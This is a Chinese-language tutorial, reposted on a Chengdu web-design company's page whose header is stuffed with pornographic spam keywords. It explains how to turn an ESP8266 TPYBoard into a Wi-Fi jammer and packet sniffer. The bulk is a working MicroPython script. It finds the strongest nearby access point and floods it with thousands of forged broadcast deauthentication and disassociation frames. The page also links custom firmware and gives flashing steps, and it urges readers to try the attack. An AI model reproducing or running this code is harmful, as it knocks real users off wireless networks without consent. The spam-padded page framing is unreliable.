真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包

這篇文章主要介紹“MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包”,在日常操作中,相信很多人在MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對(duì)大家解答”MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包”的疑惑有所幫助!接下來,請跟著小編一起來學(xué)習(xí)吧!

專注于為中小企業(yè)提供成都做網(wǎng)站、成都網(wǎng)站建設(shè)服務(wù),電腦端+手機(jī)端+微信端的三站合一,更高效的管理,為中小企業(yè)黎城免費(fèi)做網(wǎng)站提供優(yōu)質(zhì)的服務(wù)。我們立足成都,凝聚了一批互聯(lián)網(wǎng)行業(yè)人才,有力地推動(dòng)了超過千家企業(yè)的穩(wěn)健成長,幫助中小企業(yè)通過網(wǎng)站建設(shè)實(shí)現(xiàn)規(guī)模擴(kuò)充和轉(zhuǎn)變。

0x01實(shí)現(xiàn)原理

a)    通過查閱資料和arduino的源碼分析,了解到實(shí)現(xiàn)攻擊其實(shí)就是發(fā)送IEEE802.11協(xié)議解除認(rèn)證包,根據(jù)MAC層幀格式發(fā)送自定義的虛假deautch數(shù)據(jù)包。

b)    調(diào)用ESP8266SDK中wifi_send_pkt_freedom函數(shù),發(fā)送攻擊包。

0x02攻擊構(gòu)思

a)    程序一開始掃描附件的AP。

b)    找到信號(hào)最強(qiáng)的AP,獲取到他的MAC地址(bssid)和信道。

c)    將TPYBoardv202切換到同攻擊AP相同的信道。

d)    使用攻擊AP的MAC地址,組合deauth解除認(rèn)證包發(fā)送。

0x03編譯燒寫固件及程序源碼

1、    編譯固件

現(xiàn)有的micropython-esp8266固件中,并沒有引出wifi_send_pkt_freedom函數(shù),于是

我自己動(dòng)手編譯了一次固件,地址:

https://github.com/PakchoiFood/micropython-deauth

大家可以自行下載燒寫使用,如果有的小伙伴想自己編譯修改固件的話,請參考:

https://github.com/micropython/micropython/tree/master/esp8266

需要注意:在編譯esp8266-sdk時(shí),注意版本必須是1.3.0版本,否則wifi_send_pkt_freedom函數(shù)會(huì)一直返回-1失敗。

下載后解壓,文件如下:

MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包

firmware.bin文件:micropython-esp8266生成的固件。

增加的內(nèi)容:

setAttack函數(shù)

參數(shù):int類型(信道)

功能:設(shè)置esp8266的信道

send_pkt_freedom函數(shù)

參數(shù):bytes數(shù)組(定義的數(shù)據(jù)包)

flash_download_tools_v3.3.6_win.rar:燒寫固件的工具。

MicroPythonFileUploader.rar:用于將程序下載到TPYBoardv202Flash的工具。

main.py文件:程序源碼文件,主要實(shí)現(xiàn)附件AP的掃描、數(shù)據(jù)包的組合和調(diào)用發(fā)送。

import time
import uos
import wireless


sta_if=wireless.attack(0)#0:STA 模式 
sta_if.active(True)
ap_list=sta_if.scan()
print(ap_list)
ssid=''
bssid=''#bssid:AP MAC address
channel=''#信道
_client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默認(rèn)

def deauth(_ap,_client,type,reason):
    # 0 - 1   type, subtype c0: deauth (a0: disassociate)
    # 2 - 3   duration (SDK takes care of that)
    # 4 - 9   reciever (target)
    # 10 - 15 source (ap)
    # 16 - 21 BSSID (ap)
    # 22 - 23 fragment & squence number
    # 24 - 25 reason code (1 = unspecified reason)
    packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00])
    for i in range(0,6):
        packet[4 + i] =_client[i]
        packet[10 + i] = packet[16 + i] =_ap[i]
    #set type
    packet[0] = type;
    packet[24] = reason
    result=sta_if.send_pkt_freedom(packet)
    if result==0:
        time.sleep_ms(1)
        return True
    else:
        return False
    
if __name__=="__main__":
    max_rssid=0
    max_id=0
    num=0

    #獲取信號(hào)最強(qiáng)的AP 進(jìn)行攻擊
    for i in ap_list:
        if max_rssid==0:
            max_rssid=i[3]#rssid
        else:
            if i[3]>max_rssid:
                max_rssid=i[3]
                max_id=num
        num+=1
    ssid=ap_list[max_id][0]
    bssid=ap_list[max_id][1]
    channel=ap_list[max_id][2]
    print('ssid:',ssid,'-bssid:',bssid)
    print('-channel:',channel,'-rssid:',max_rssid)
    sendNum=5000#攻擊次數(shù)
   
    print('******************************')
    if sta_if.setAttack(channel):
        print('Set Attack OK')
        time.sleep_ms(100)
        print('---deauth runing-----')
        for i in range(0,sendNum):
            r_=deauth(bssid, _client, 0xC0, 0x01)
            if r_:
                
                deauth(bssid, _client, 0xA0, 0x01)
                deauth(_client, bssid, 0xC0, 0x01)
                deauth(_client, bssid, 0xA0, 0x01)
                time.sleep_ms(5)
            else:
                print('---deauth fail-------')
            time.sleep_ms(5000)

sniffer文件夾下的main.py實(shí)現(xiàn)網(wǎng)絡(luò)抓包功能。

import wireless
import time

#可以指定信道1~13
sniffer=wireless.sniffer(6)
#0:表示從信道1開始 定時(shí)切換信道
#sniffer=wireless.sniffer(0)

燒寫固件

1、    TPYBoardv202使用microUSB數(shù)據(jù)線接入電腦。查看安裝的usb轉(zhuǎn)串的端口。打開電腦的設(shè)備管理器(這里是COM57)。

MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包

2、    解壓flash_download_tools_v3.3.6_win.rar,雙擊運(yùn)行ESPFlashDownloadTool_v3.3.6.exe。

3、選擇firmware.bin固件文件,地址0x00000,其他參數(shù)根據(jù)下圖設(shè)置。我的COM選擇COM57,根據(jù)自己的實(shí)際端口選擇,波特率選擇115200。

MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包

4、點(diǎn)擊【START】,界面提示等待上電同步。按住板子上的FLASH鍵不松,同時(shí)按一下RST鍵復(fù)位上電。左側(cè)空白區(qū)顯示讀取的MAC地址,狀態(tài)顯示下載中,此時(shí)松開按鍵即可。

MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包

5、等待下載完畢,關(guān)閉軟件退出。

下載程序

6、解壓MicroPythonFileUploader.rar,雙擊運(yùn)行MicroPythonFileUploader.exe。

MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包

此軟件需要.NETFramework4.2及以上版本,若打開失敗,請安裝.NETFramework后再使用。

.NETFramework4.5下載地址:http://www.tpyboard.com/download/drive/174.html

7、選擇COM57,點(diǎn)擊【Open】打開串口。

MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包

8、點(diǎn)擊右側(cè)的文件夾圖標(biāo)的按鈕,選擇main.py文件。

MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包

9、此時(shí)可以點(diǎn)擊【Send】,將程序發(fā)送給TPYBoardv202。發(fā)送成功后,程序自動(dòng)運(yùn)行。

MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包

10、接下來將sniffer下的main.py同樣的是方式下載到板子里。(文件會(huì)覆蓋)

打開串口助手,就可以看到esp8266抓包的數(shù)據(jù)。

MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包

到此,關(guān)于“MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實(shí)踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識(shí),請繼續(xù)關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編會(huì)繼續(xù)努力為大家?guī)砀鄬?shí)用的文章!


新聞標(biāo)題:MicroPython怎么實(shí)現(xiàn)wifi干擾與抓包
文章位置:http://weahome.cn/article/ppcejj.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部